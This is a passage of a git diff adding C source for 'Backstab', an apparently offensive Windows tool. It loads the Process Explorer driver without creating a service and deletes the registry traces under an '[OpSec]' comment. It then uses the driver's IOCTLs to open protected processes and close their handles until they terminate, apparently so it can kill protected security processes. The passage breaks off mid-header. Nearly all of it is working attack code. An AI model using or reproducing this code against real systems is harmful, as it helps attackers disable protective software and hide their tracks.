diff --git a/.vs/Backstab/v16/.suo b/.vs/Backstab/v16/.suo
new file mode 100644
index 0000000..e905657
Binary files /dev/null and b/.vs/Backstab/v16/.suo differ
diff --git a/.vs/Backstab/v16/Browse.VC.db b/.vs/Backstab/v16/Browse.VC.db
new file mode 100644
index 0000000..c946a3a
Binary files /dev/null and b/.vs/Backstab/v16/Browse.VC.db differ
diff --git a/.vs/Backstab/v16/ipch/AutoPCH/1ef823e525f93847/MAIN.ipch b/.vs/Backstab/v16/ipch/AutoPCH/1ef823e525f93847/MAIN.ipch
new file mode 100644
index 0000000..8dd2748
Binary files /dev/null and b/.vs/Backstab/v16/ipch/AutoPCH/1ef823e525f93847/MAIN.ipch differ
diff --git a/.vs/Backstab/v16/ipch/AutoPCH/38faa1f5a6fb5a53/MAIN.ipch b/.vs/Backstab/v16/ipch/AutoPCH/38faa1f5a6fb5a53/MAIN.ipch
new file mode 100644
index 0000000..7c4d580
Binary files /dev/null and b/.vs/Backstab/v16/ipch/AutoPCH/38faa1f5a6fb5a53/MAIN.ipch differ
diff --git a/Backstab.sln b/Backstab.sln
new file mode 100644
index 0000000..33cfa4f
--- /dev/null
+++ b/Backstab.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.31205.134
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Backstab", "Backstab\Backstab.vcxproj", "{A0E7B538-F719-47B8-8BE4-A82C933F5753}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Debug|x64.ActiveCfg = Debug|x64
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Debug|x64.Build.0 = Debug|x64
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Debug|x86.ActiveCfg = Debug|Win32
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Debug|x86.Build.0 = Debug|Win32
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Release|x64.ActiveCfg = Release|x64
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Release|x64.Build.0 = Release|x64
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Release|x86.ActiveCfg = Release|Win32
+ {A0E7B538-F719-47B8-8BE4-A82C933F5753}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {9201A66F-692A-4CD5-8FA4-7556699AE86D}
+ EndGlobalSection
+EndGlobal
diff --git a/Backstab/Backstab.rc b/Backstab/Backstab.rc
new file mode 100644
index 0000000..dcdc95a
--- /dev/null
+++ b/Backstab/Backstab.rc
@@ -0,0 +1,3 @@
+#include "resource.h"
+
+RES_PROCEXP_BINARY RCDATA "..\\resources\\PROCEXP.sys"
\ No newline at end of file
diff --git a/Backstab/Backstab.vcxproj b/Backstab/Backstab.vcxproj
new file mode 100644
index 0000000..af2c650
--- /dev/null
+++ b/Backstab/Backstab.vcxproj
@@ -0,0 +1,165 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {a0e7b538-f719-47b8-8be4-a82c933f5753}
+ Backstab
+ 10.0
+ Backstab
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Backstab/Backstab.vcxproj.filters b/Backstab/Backstab.vcxproj.filters
new file mode 100644
index 0000000..bcb0b9d
--- /dev/null
+++ b/Backstab/Backstab.vcxproj.filters
@@ -0,0 +1,65 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+
+
+ Resource Files
+
+
+
\ No newline at end of file
diff --git a/Backstab/Backstab.vcxproj.user b/Backstab/Backstab.vcxproj.user
new file mode 100644
index 0000000..87241b6
--- /dev/null
+++ b/Backstab/Backstab.vcxproj.user
@@ -0,0 +1,23 @@
+
+
+
+
+
+ WindowsLocalDebugger
+
+
+
+
+ WindowsLocalDebugger
+
+
+
+
+ WindowsLocalDebugger
+
+
+
+
+ WindowsLocalDebugger
+
+
\ No newline at end of file
diff --git a/Backstab/Driverloading.c b/Backstab/Driverloading.c
new file mode 100644
index 0000000..f80db2a
--- /dev/null
+++ b/Backstab/Driverloading.c
@@ -0,0 +1,148 @@
+#include "Driverloading.h"
+
+/*
+Adopted from: https://github.com/GitMirar/DriverLoader/blob/master/DriverLoader/DriverLoader.cpp
+*/
+
+
+//TODO Remove driver registry entry after loading
+
+
+BOOL SetRegistryValues(LPWSTR szPath, LPWSTR szServiceName) {
+
+ HKEY hKey = NULL;
+ WCHAR regPath[MAX_PATH] = { 0 };
+ WCHAR driverPath[MAX_PATH] = { 0 };
+ LSTATUS status = -1;
+ DWORD dwData = 0, dwDisposition = 0;
+
+ /* create the registry path string */
+ _snwprintf_s(regPath, MAX_PATH, _TRUNCATE, L"System\\CurrentControlSet\\Services\\%ws", szServiceName);
+ _snwprintf_s(driverPath, MAX_PATH, _TRUNCATE, L"%ws%ws", L"\\??\\", szPath);
+
+
+ status = RegCreateKeyExW(HKEY_LOCAL_MACHINE, regPath, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);
+ if (status)
+ return Error("SetRegistryValues.RegCreateKeyExA");
+
+
+ status = RegSetValueEx(hKey, L"Type", 0, REG_DWORD, (BYTE*)&dwData, sizeof(DWORD));
+ if (status)
+ return Error("RegSetValueEx.Type");
+
+
+ status = RegSetValueEx(hKey, L"ErrorControl", 0, REG_DWORD, (BYTE*)&dwData, sizeof(DWORD));
+ if (status)
+ return Error("RegSetValueEx.ErrorControl");
+
+
+ status = RegSetValueEx(hKey, L"Start", 0, REG_DWORD, (BYTE*)&dwData, sizeof(DWORD));
+ if (status)
+ return Error("RegSetValueEx.Start");
+
+
+ status = RegSetValueEx(hKey, L"ImagePath", 0, REG_SZ, (const BYTE*)driverPath, (DWORD)(sizeof(wchar_t) * (wcslen(driverPath)+1)));
+ if (status)
+ return Error("RegSetValueEx.ImagePath");
+
+ return TRUE;
+}
+
+
+
+
+BOOL EnablePrivilege(LPCWSTR lpPrivilegeName)
+{
+ TOKEN_PRIVILEGES tpPrivilege;
+ HANDLE hToken;
+
+ tpPrivilege.PrivilegeCount = 1;
+ tpPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ if (!LookupPrivilegeValueW(NULL, lpPrivilegeName,
+ &tpPrivilege.Privileges[0].Luid))
+ return Error("EnablePrivilege.LookupPrivilegeValueW");
+
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
+ return Error("EnablePrivilege.OpenProcessToken");
+
+ if (!AdjustTokenPrivileges(hToken, FALSE, &tpPrivilege, sizeof(tpPrivilege) ,NULL, NULL)) {
+ CloseHandle(hToken);
+ return Error("EnablePrivilege.AdjustTokenPrivileges");
+ }
+
+ CloseHandle(hToken);
+ return TRUE;
+}
+
+
+BOOL DeleteRegistryKey(LPWSTR szServiceName) {
+ WCHAR szRegistryPath[MAX_PATH] = { 0 };
+ LSTATUS status;
+
+
+ _snwprintf_s(szRegistryPath, MAX_PATH, _TRUNCATE, L"System\\CurrentControlSet\\Services\\%ws", szServiceName);
+ status = RegDeleteKeyExW(HKEY_LOCAL_MACHINE, szRegistryPath, KEY_WOW64_64KEY, 0);
+
+ if (status) {
+ return Error("[OpSec] could not remove service registry key: %d", status);
+ }
+ return TRUE;
+}
+
+BOOL LoadDriver(LPWSTR szPath, LPWSTR szServiceName) {
+
+ UNICODE_STRING usDriverServiceName = {0};
+ WCHAR szNtRegistryPath[MAX_PATH] = { 0 };
+ WCHAR szRegistryPath[MAX_PATH] = { 0 };
+ NTSTATUS ret;
+
+ if (!EnablePrivilege(L"SeLoadDriverPrivilege")) {
+ return FALSE;
+ }
+
+
+ if (!SetRegistryValues(szPath, szServiceName))
+ {
+ return Error("NtUnloadDriver.SetRegistryKeyValues");
+ }
+
+
+ _snwprintf_s(szNtRegistryPath, MAX_PATH, _TRUNCATE, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%ws", szServiceName);
+ _RtlInitUnicodeString(&usDriverServiceName, szNtRegistryPath);
+
+ ret = _NtLoadDriver(&usDriverServiceName);
+ if (ret != STATUS_SUCCESS && ret != STATUS_IMAGE_ALREADY_LOADED && ret != STATUS_OBJECT_NAME_COLLISION) {
+ printf("NtLoadDriver: %x\n", ret);
+ return FALSE;
+ }
+
+ DeleteRegistryKey(szServiceName); //don't care that much if it fails
+
+ return TRUE;
+}
+
+
+
+BOOL UnloadDriver(LPWSTR szPath, LPWSTR szServiceName) {
+
+ UNICODE_STRING usDriverServiceName = { 0 };
+ WCHAR szRegistryPath[MAX_PATH] = { 0 };
+ NTSTATUS ret;
+
+ if (!SetRegistryValues(szPath, szServiceName))
+ {
+ return FALSE;
+ }
+
+ _snwprintf_s(szRegistryPath, MAX_PATH, _TRUNCATE, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%ws", szServiceName);
+ _RtlInitUnicodeString(&usDriverServiceName, szRegistryPath);
+
+ ret = _NtUnLoadDriver(&usDriverServiceName);
+ if (ret != STATUS_SUCCESS) {
+ printf("NtUnLoadDriver: %x\n", ret);
+ DeleteRegistryKey(szServiceName);
+ return FALSE;
+ }
+ DeleteRegistryKey(szServiceName);
+ return TRUE;
+}
diff --git a/Backstab/Driverloading.h b/Backstab/Driverloading.h
new file mode 100644
index 0000000..3755549
--- /dev/null
+++ b/Backstab/Driverloading.h
@@ -0,0 +1,32 @@
+#pragma once
+
+#include "common.h"
+
+
+#define STATUS_IMAGE_ALREADY_LOADED 0xC000010E
+#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
+
+/* Functions To Be Dynamically Resolved */
+typedef void (WINAPI* fRtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
+typedef NTSTATUS(*fNtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
+typedef NTSTATUS(*fNtUnLoadDriver)(IN PUNICODE_STRING DriverServiceName);
+
+/* Global Variables For Dynamically Resolved Functions */
+fRtlInitUnicodeString _RtlInitUnicodeString;
+fNtLoadDriver _NtLoadDriver;
+fNtUnLoadDriver _NtUnLoadDriver;
+
+///
+/// Loading a given driver without creating a service
+///
+///
+///
+///
+BOOL LoadDriver(LPWSTR szPath, LPWSTR szServiceName);
+
+///
+/// Unload driver
+///
+///
+///
+BOOL UnloadDriver(LPWSTR szDriverPath, LPWSTR szServiceName);
\ No newline at end of file
diff --git a/Backstab/ProcExp.c b/Backstab/ProcExp.c
new file mode 100644
index 0000000..357f2b2
--- /dev/null
+++ b/Backstab/ProcExp.c
@@ -0,0 +1,114 @@
+#include "ProcExp.h"
+
+
+BOOL ConnectToProcExpDevice()
+{
+ hProcExpDevice = CreateFileA("\\\\.\\PROCEXP152", GENERIC_ALL, 0, NULL, OPEN_EXISTING, 0, NULL);
+ if (hProcExpDevice == INVALID_HANDLE_VALUE)
+ return Error("ConnectToProcExpDevice");
+
+ return TRUE;
+}
+
+
+HANDLE DuplicateHandleOfProtectedProcess(DWORD dwPID, USHORT usHandle)
+{
+ HANDLE hProtectedProcess = ProcExpOpenProtectedProcess(dwPID);
+ HANDLE ret = _DuplicateHandle(hProtectedProcess, usHandle);
+ return ret;
+}
+
+
+HANDLE ProcExpOpenProtectedProcess(ULONGLONG ulPID)
+{
+ HANDLE hProtectedProcess = NULL;
+ DWORD dwBytesReturned = 0;
+ BOOL ret = FALSE;
+
+
+ ret = DeviceIoControl(hProcExpDevice, IOCTL_OPEN_PROTECTED_PROCESS_HANDLE, (LPVOID)&ulPID, sizeof(ulPID),
+ &hProtectedProcess,
+ sizeof(HANDLE),
+ &dwBytesReturned,
+ NULL);
+
+
+ if (dwBytesReturned == 0 || !ret)
+ {
+ printf("ProcExpOpenProtectedProcess.DeviceIoControl: %d\n", GetLastError());
+ return NULL;
+ }
+
+ return hProtectedProcess;
+}
+
+BOOL ProcExpKillHandle(DWORD dwPID, ULONGLONG usHandle) {
+
+ PVOID lpObjectAddressToClose = NULL;
+ PROCEXP_DATA_EXCHANGE ctrl = { 0 };
+ BOOL bRet = FALSE;
+
+
+ /* find the object address */
+ lpObjectAddressToClose = GetObjectAddressFromHandle(dwPID, (USHORT)usHandle);
+
+
+ /* populate the data structure */
+ ctrl.ulPID = dwPID;
+ ctrl.ulSize = 0;
+ ctrl.ulHandle = usHandle;
+ ctrl.lpObjectAddress = lpObjectAddressToClose;
+
+ /* send the kill command */
+
+ bRet = DeviceIoControl(hProcExpDevice, IOCTL_CLOSE_HANDLE, (LPVOID)&ctrl, sizeof(PROCEXP_DATA_EXCHANGE), NULL,
+ 0,
+ NULL,
+ NULL);
+
+ if (!bRet)
+ return Error("ProcExpKillHandle.DeviceIoControl");
+
+
+ return TRUE;
+}
+
+
+BOOL PrintProtectedHandleInformation(ULONGLONG ulPID, ULONGLONG ulProtectedHandle, PVOID lpObjectAddress) {
+
+ PROCEXP_DATA_EXCHANGE data = { 0 };
+ DWORD bytesReturned = 0;
+ WCHAR szName[MAX_BUF] = { 0 };
+ WCHAR szType[MAX_BUF] = { 0 };
+
+
+ data.ulHandle = ulProtectedHandle;
+ data.ulPID = ulPID;
+ data.lpObjectAddress = lpObjectAddress;
+ data.ulSize = 0;
+
+ if (ProcExpGetObjectInformation(data, IOCTL_GET_HANDLE_NAME, szName)) {
+ ProcExpGetObjectInformation(data, IOCTL_GET_HANDLE_TYPE, szType);
+ printf("[%#llu] [%ws]: %ws\n", data.ulHandle, szType + 2, szName + 2);
+ }
+
+ return TRUE;
+}
+
+
+BOOL ProcExpGetObjectInformation(PROCEXP_DATA_EXCHANGE data, DWORD IOCTL, LPWSTR info) {
+
+ DWORD dwBytesReturned = 0;
+ BOOL bRet = FALSE;
+
+ bRet = DeviceIoControl(hProcExpDevice, IOCTL, (LPVOID)&data, sizeof(PROCEXP_DATA_EXCHANGE), (LPVOID)info, MAX_BUF, &dwBytesReturned, NULL);
+ if (!bRet)
+ return Error("ProcExpGetObjectInformation.DeviceIoControl");
+
+
+ if (dwBytesReturned == 8) // 8 bytes are returned when the handle is unnamed
+ return FALSE;
+
+
+ return TRUE;
+}
diff --git a/Backstab/ProcExp.h b/Backstab/ProcExp.h
new file mode 100644
index 0000000..1bb0aa1
--- /dev/null
+++ b/Backstab/ProcExp.h
@@ -0,0 +1,83 @@
+#pragma once
+
+#include "common.h"
+#include "Processes.h"
+
+#define IOCTL_CLOSE_HANDLE 2201288708
+#define IOCTL_OPEN_PROTECTED_PROCESS_HANDLE 2201288764
+#define IOCTL_GET_HANDLE_NAME 2201288776
+#define IOCTL_GET_HANDLE_TYPE 2201288780
+
+
+
+typedef struct _ioControl
+{
+ ULONGLONG ulPID;
+ PVOID lpObjectAddress;
+ ULONGLONG ulSize;
+ ULONGLONG ulHandle;
+} PROCEXP_DATA_EXCHANGE, *PPROCEXP_DATA_EXCHANGE;
+
+
+///
+/// Returns a handle to a protected process which is powerful enough to allow duplication of the protected process handles
+/// This method does NOT work on ANTI-MALWARE protected processes
+///
+///
+///
+///
+HANDLE DuplicateHandleOfProtectedProcess(DWORD dwPID, USHORT usHandle);
+
+
+///
+/// Provides a handle with access mask PROCESS_DUP_HANDLE
+///
+/// PID for target process
+/// Handle with PROCESS_DUP_HANDLE access right
+HANDLE ProcExpOpenProtectedProcess(ULONGLONG ulPID);
+
+
+
+///
+/// Converts the user (hex representation of handle) to ULONG
+///
+/// user input string, can be either "9FC" or "0x9FC"
+/// ULONG representation of the given string
+ULONGLONG ConvertInputHandleToULONG(LPSTR szHandle);
+
+
+///
+/// Kills a protected process handle
+///
+/// PID of protected process
+/// handle to be killed
+///
+BOOL ProcExpKillHandle(DWORD PID, ULONGLONG usHandle);
+
+
+///
+/// Connects to ProcExp device for further communication, since the device name is set by the driver, there is nothing to customize here
+///
+///
+BOOL ConnectToProcExpDevice();
+
+
+///
+/// Prints the object type and name of a handle of a protected process to screen
+///
+/// Protected process PID
+/// Handle of interest
+/// The address of the handle of interest
+///
+BOOL PrintProtectedHandleInformation(ULONGLONG ulPID, ULONGLONG ulProtectedHandle, PVOID lpObjectAddress);
+
+///
+/// communicates with ProcExp to retrieve protected handle information
+///
+///
+/// type of requested information, refers to either object type or object handle
+/// string to store the info of the protected handle
+///
+BOOL ProcExpGetObjectInformation(PROCEXP_DATA_EXCHANGE data, DWORD dwIOCTL, LPWSTR szInfo);
+
+HANDLE hProcExpDevice;
\ No newline at end of file
diff --git a/Backstab/Process.c b/Backstab/Process.c
new file mode 100644
index 0000000..6f21f65
--- /dev/null
+++ b/Backstab/Process.c
@@ -0,0 +1,326 @@
+#include "Processes.h"
+#include "ProcExp.h"
+
+PSYSTEM_HANDLE_INFORMATION ReAllocateHandleInfoTableSize(ULONG ulTable_size, PSYSTEM_HANDLE_INFORMATION handleInformationTable) {
+
+ HANDLE hHeap = GetProcessHeap();
+ BOOL ret = HeapFree(hHeap, HEAP_NO_SERIALIZE, handleInformationTable); //first call handleInformationTable will be NULL, which is OK according to the documentation
+
+ handleInformationTable =
+ (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulTable_size);
+ return handleInformationTable;
+}
+
+
+PSYSTEM_HANDLE_INFORMATION GetHandleInformationTable() {
+
+ NTSTATUS status;
+ PSYSTEM_HANDLE_INFORMATION handleInformationTable = NULL;
+
+ ULONG ulSystemInfoLength = sizeof(SYSTEM_HANDLE_INFORMATION) + (sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) * 100) - 2300;
+
+ //getting the address of NtQuerySystemInformation procedure, using the predefined type fNtQuerySystemInformation
+
+
+ handleInformationTable = ReAllocateHandleInfoTableSize(ulSystemInfoLength, handleInformationTable);
+ while ((status = _NtQuerySystemInformation(
+ CONST_SYSTEM_HANDLE_INFORMATION,
+ handleInformationTable,
+ ulSystemInfoLength,
+ NULL
+ )) == STATUS_INFO_LENGTH_MISMATCH)
+ {
+ handleInformationTable = ReAllocateHandleInfoTableSize(ulSystemInfoLength *= 2, handleInformationTable);
+ }
+
+
+ if (!NT_SUCCESS(status))
+ printf("ReAllocateHandleInfoTableSize: %d", GetLastError());
+
+
+ return handleInformationTable;
+}
+
+
+
+VOID ListProcessHandles(HANDLE hProcess) {
+
+ DWORD PID = GetProcessId(hProcess);
+ ULONG returnLenght = 0;
+ SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = { 0 };
+ PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL;
+
+ handleTableInformation = GetHandleInformationTable();
+
+ for (ULONG i = 0; i < handleTableInformation->HandleCount; i++)
+ {
+ handleInfo = handleTableInformation->Handles[i];
+
+ if (handleInfo.ProcessId == PID) //meaning that the handle is within our process of interest
+ {
+ // printf_s("Handle 0x%x at 0x%p, PID: %x\n", handleInfo.Handle, handleInfo.Object, handleInfo.ProcessId);
+ /* if ((handleInfo.GrantedAccess == 0x0012019f)
+ || (handleInfo.GrantedAccess == 0x001a019f)
+ || (handleInfo.GrantedAccess == 0x00120189)
+ || (handleInfo.GrantedAccess == 0x00100000)) {
+ continue;
+ }*/
+ PrintProtectedHandleInformation(PID, handleInfo.Handle, handleInfo.Object);
+ }
+ }
+}
+
+
+PVOID GetObjectAddressFromHandle(DWORD dwPID, USHORT usTargetHandle)
+{
+ ULONG ulReturnLenght = 0;
+
+ PSYSTEM_HANDLE_INFORMATION handleTableInformation = GetHandleInformationTable();
+
+ for (ULONG i = 0; i < handleTableInformation->HandleCount; i++)
+ {
+ SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = handleTableInformation->Handles[i];
+
+ if (handleInfo.ProcessId == dwPID) //meaning that the handle is within our process of interest
+ {
+ if (handleInfo.Handle == usTargetHandle)
+ {
+ return handleInfo.Object;
+ }
+ }
+ }
+ return NULL;
+}
+
+BOOL GetProcessPIDFromName(LPWSTR szProcessName, PDWORD lpPID) {
+ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ BOOL bRet = FALSE;
+ DWORD dwMatchCount = 0;
+ PROCESSENTRY32 pe32;
+
+
+ if (hSnapshot == INVALID_HANDLE_VALUE)
+ return Error("CreateToolhelp32Snapshot");
+
+ pe32.dwSize = sizeof(PROCESSENTRY32);
+
+ bRet = Process32First(hSnapshot, &pe32);
+ if (!bRet)
+ return Error("GetProcessNameFromPID.Process32First");
+
+
+ do {
+ if (wcscmp(szProcessName, pe32.szExeFile) == 0)
+ {
+ dwMatchCount++;
+ *lpPID = pe32.th32ProcessID;
+ }
+ } while (Process32Next(hSnapshot, &pe32));
+
+
+ if (dwMatchCount > 1)
+ {
+ *lpPID = 1;
+ return FALSE;
+ }
+
+ if (dwMatchCount == 0)
+ {
+ *lpPID = 2;
+ return FALSE;
+ }
+
+ CloseHandle(hSnapshot);
+ return TRUE;
+}
+
+
+HANDLE _DuplicateHandle(HANDLE hSrcProcess, USHORT usHandleValue) {
+
+ HANDLE hTargetProcess = NULL;
+
+ _NtDuplicateObject(
+ hSrcProcess,
+ (HANDLE)usHandleValue,
+ GetCurrentProcess(),
+ &hTargetProcess,
+ 0,
+ FALSE,
+ 0
+ );
+
+
+ if (hTargetProcess == NULL)
+ printf("failed to duplicate handle: %d\n", GetLastError());
+
+ return hTargetProcess;
+}
+
+VOID KillProcessHandles(HANDLE hProcess) {
+
+ DWORD dwPID = GetProcessId(hProcess);
+ ULONG ulReturnLenght = 0;
+
+ //allocating memory for the SYSTEM_HANDLE_INFORMATION structure in the heap
+
+ PSYSTEM_HANDLE_INFORMATION handleTableInformation = GetHandleInformationTable();
+
+ for (ULONG i = 0; i < handleTableInformation->HandleCount; i++)
+ {
+ SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = handleTableInformation->Handles[i];
+
+ if (handleInfo.ProcessId == dwPID) //meaning that the handle is within our process of interest
+ {
+ /* Check if the process is already killed every 15 closed handles (otherwise we'll keep trying to close handles that are already closed) */
+ if (i % 15 == 0)
+ {
+ DWORD dwProcStatus = 0;
+ GetExitCodeProcess(hProcess, &dwProcStatus);
+ if (dwProcStatus != STILL_ACTIVE)
+ {
+ return;
+ }
+ }
+ ProcExpKillHandle(dwPID, handleInfo.Handle);
+ }
+ }
+}
+
+/********** Below code is not used in production but kept for learning purposes ***********/
+
+//BOOL _GetObjectType(PHANDLE phObject, LPWSTR szType) {
+//
+// POBJECT_TYPE_INFORMATION objectTypeInfo = { 0 };
+// NTSTATUS status = 0;
+//
+//
+// objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
+// if (!objectTypeInfo)
+// return Error("_GetObjectType.malloc");
+//
+// status = _NtQueryObject(*phObject, CONST_OBJECT_TYPE_INFORMATION, objectTypeInfo, 0x1000, NULL);
+//
+// if (status != STATUS_SUCCESS)
+// {
+// free(objectTypeInfo);
+// return Error("GetObjectType.NtQueryObject");
+// }
+//
+// wcscpy_s(szType, MAX_BUF, objectTypeInfo->Name.Buffer);
+// free(objectTypeInfo);
+// return TRUE;
+//}
+//
+//
+//BOOL GetObjectName(PHANDLE hObject, LPWSTR szName) {
+//
+// PVOID lpObjectNameInfo = NULL;
+// UNICODE_STRING usObjectName = { 0 };
+// ULONG returnLength = 0;
+// NTSTATUS status;
+//
+// lpObjectNameInfo = malloc(0x1000);
+// if (!lpObjectNameInfo)
+// return Error("GetObjectName.malloc");
+//
+//
+// status = _NtQueryObject(*hObject, CONST_OBJECT_NAME_INFORMATION, lpObjectNameInfo, 0x1000, &returnLength);
+// if (status != STATUS_SUCCESS) //could be insufficient size so we have to try again
+// {
+// PVOID lpTempHolder = lpObjectNameInfo;
+// lpObjectNameInfo = realloc(lpTempHolder, returnLength);
+// if (!lpObjectNameInfo) //out of memory
+// {
+// return Error("GetObjectName.realloc");
+// }
+// //size is reallocated based on the returned length, try again
+// status = _NtQueryObject(*hObject, CONST_OBJECT_NAME_INFORMATION, lpObjectNameInfo, returnLength, NULL);
+// }
+//
+// if (status != STATUS_SUCCESS) //in this case the failure is not caused by the size
+// {
+// free(lpObjectNameInfo);
+// return Error("GetObjectName._NtQueryObject");
+// }
+//
+// /* Cast our buffer into an UNICODE_STRING. */
+// usObjectName = *(PUNICODE_STRING)lpObjectNameInfo;
+//
+// if (usObjectName.Length)
+// {
+// wcscpy_s(szName, MAX_BUF, usObjectName.Buffer);
+// }
+// else
+// {
+// wcscpy_s(szName, MAX_BUF, L"unnamed");
+// return FALSE; //will use this to skip printing unnamed handles
+// }
+//
+// free(lpObjectNameInfo);
+// return TRUE;
+//}
+//
+//
+
+//
+//HANDLE GetHandleToProcessByPID(DWORD pid) {
+// HANDLE hProcess;
+// hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
+// return hProcess;
+//}
+
+
+//HANDLE _DuplicateHandle(HANDLE hSrcProcess, USHORT usHandleValue) {
+//
+// HANDLE hTargetProcess = NULL;
+//
+// _NtDuplicateObject(
+// hSrcProcess,
+// (HANDLE)usHandleValue,
+// GetCurrentProcess(),
+// &hTargetProcess,
+// 0,
+// FALSE,
+// 0
+// );
+//
+//
+// if (hTargetProcess == NULL)
+// {
+// printf("failed to duplicate handle: %d\n", GetLastError());
+// }
+//
+// return hTargetProcess;
+//}
+//
+//BOOLEAN GetProcessName(DWORD processID, LPWSTR szName)
+//{
+// BOOLEAN bResult;
+//
+// HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
+//
+// bResult = GetProcessImageFileName(hProcess, szName, MAX_PATH) != 0;
+//
+// return bResult;
+//}
+
+//VOID PrintHandleInformation(HANDLE hContainingProcess, USHORT usHandleValue) {
+//
+// HANDLE dupHandle = NULL;
+//
+// dupHandle = _DuplicateHandle(hContainingProcess, usHandleValue);
+//
+// if (dupHandle == NULL)
+// {
+// return;
+// }
+//
+// WCHAR type[MAX_BUF], name[MAX_BUF];
+//
+//
+// if (GetObjectName(&dupHandle, name) && _GetObjectType(&dupHandle, type))
+// {
+// printf("[%#x]: [%ws] %ws\n", usHandleValue, type, name);
+// }
+// CloseHandle(dupHandle);
+//}
\ No newline at end of file
diff --git a/Backstab/Processes.h b/Backstab/Processes.h
new file mode 100644
index 0000000..42821a0
--- /dev/null
+++ b/Backstab/Processes.h
@@ -0,0 +1,209 @@
+#pragma once
+
+#include "common.h"
+#include
+#include
+
+/* https://github.com/outflanknl/Ps-Tools/blob/master/Src/Outflank-PsX-rDLL/PsX/ReflectiveDll.cpp */
+
+/*
+typedef void (*FunctionFunc) ( );
+// ^ ^ ^
+// return type type name arguments
+src: https://stackoverflow.com/questions/4295432/typedef-function-pointer/4295495
+*/
+
+#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
+#define CONST_SYSTEM_HANDLE_INFORMATION 16
+#define CONST_OBJECT_BASIC_INFORMATION 0
+#define CONST_OBJECT_NAME_INFORMATION 1
+#define CONST_OBJECT_TYPE_INFORMATION 2
+
+
+typedef NTSTATUS(WINAPI* fNtQuerySystemInformation)(
+ SYSTEM_INFORMATION_CLASS SystemInformationClass,
+ PVOID SystemInformation,
+ ULONG SystemInformationLength,
+ PULONG ReturnLength);
+
+typedef NTSTATUS(NTAPI* fNtDuplicateObject)(
+ HANDLE SourceProcessHandle,
+ HANDLE SourceHandle,
+ HANDLE TargetProcessHandle,
+ PHANDLE TargetHandle,
+ ACCESS_MASK DesiredAccess,
